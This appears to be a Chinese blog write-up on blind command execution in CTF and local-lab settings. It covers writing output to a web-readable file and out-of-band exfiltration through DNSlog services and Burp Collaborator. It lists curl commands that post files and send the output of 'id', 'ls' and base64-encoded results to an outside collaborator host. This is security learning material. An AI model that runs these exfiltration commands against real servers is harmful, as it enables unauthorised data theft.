命令执行无回显

命令无回显怎么搞

1.管道符利用
2021年工业互联网杭州省赛web题,就是命令执行无回显,当时很懵逼,然后火狐找包,发现response处存在post=cmd,这时候就有了思路,当时以为只需要在web端post处,输入cmd=ls 就会执行命令,并且有回显,尝试了很多都是没有回显,以为有过滤,不停的尝试,就是不行,当时都要崩溃了
换了一种思路 能不能利用管道符 ls > 1.txt,一看卧槽,有效果,cat /flag > 1.txt中 ,拿到flag
向管道符这种其实有很多缺点,python JiaJa2模板注入,向python直接按路由走的,不走中间件的,php它是走中间件的,可以通过web去访问1.txt,如果php也不走中间件也是访问不了1.txt

2.dnslog方式
dnslog方式:也是经常出现在无回显sql注入,无回显ssrf,无回显命令执行
dnslog网站

http://ceye.io/records/http
http://www.dnslog.cn/

dnslog也有很多缺点比如
命令执行无回显
命令执行无回显
curl id.x5foxb.ceye.io 不行
curl x5foxb.ceye.io/id 可以

命令执行无回显
比如去读取一个文件,只能读取部分字符

3.Burp Suite
Burp Suite Collaborator Client功能比dnslog还要强大
命令执行无回显
这里需要点击copy to clipboard,会自动复制一段url地址,也就是我们dnslog地址
命令执行无回显

389r59xtbk15zhcuz0f0omv9h0nrbg.burpcollaborator.net  #这是我的url地址

因为这边我在本地做的是python ssti模板注入 JinJa2,过滤{{ }}时,我在本地虚拟机kali做服务端,真实机做客户端,对服务端进行攻击,涉及到盲注,我就想着能不能用 curl 命令读取到服务端的文件内容,因为平时dnslog获取时,可能获取不了很长的一段字符串
命令执行无回显
Burp主要能读取文件内容,这就是我们需要的

curl -X POST -F xx=@bs.py 389r59xtbk15zhcuz0f0omv9h0nrbg.burpcollaborator.net

执行命令 $(id) === id

curl $(id).389r59xtbk15zhcuz0f0omv9h0nrbg.burpcollaborator.net
curl `id`.389r59xtbk15zhcuz0f0omv9h0nrbg.burpcollaborator.net
curl 389r59xtbk15zhcuz0f0omv9h0nrbg.burpcollaborator.net/`ls`
curl 389r59xtbk15zhcuz0f0omv9h0nrbg.burpcollaborator.net/$(id|base64)

我都是参考以下网址
https://www.cnblogs.com/hello-py/articles/13385679.html
https://www.cnblogs.com/cwkiller/p/12091736.html
http://www.admintony.com/%E6%97%A0%E5%9B%9E%E6%98%BE%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95.html

上一篇:通过curl 在nacos进行服务注册


下一篇:Nginx区分浏览器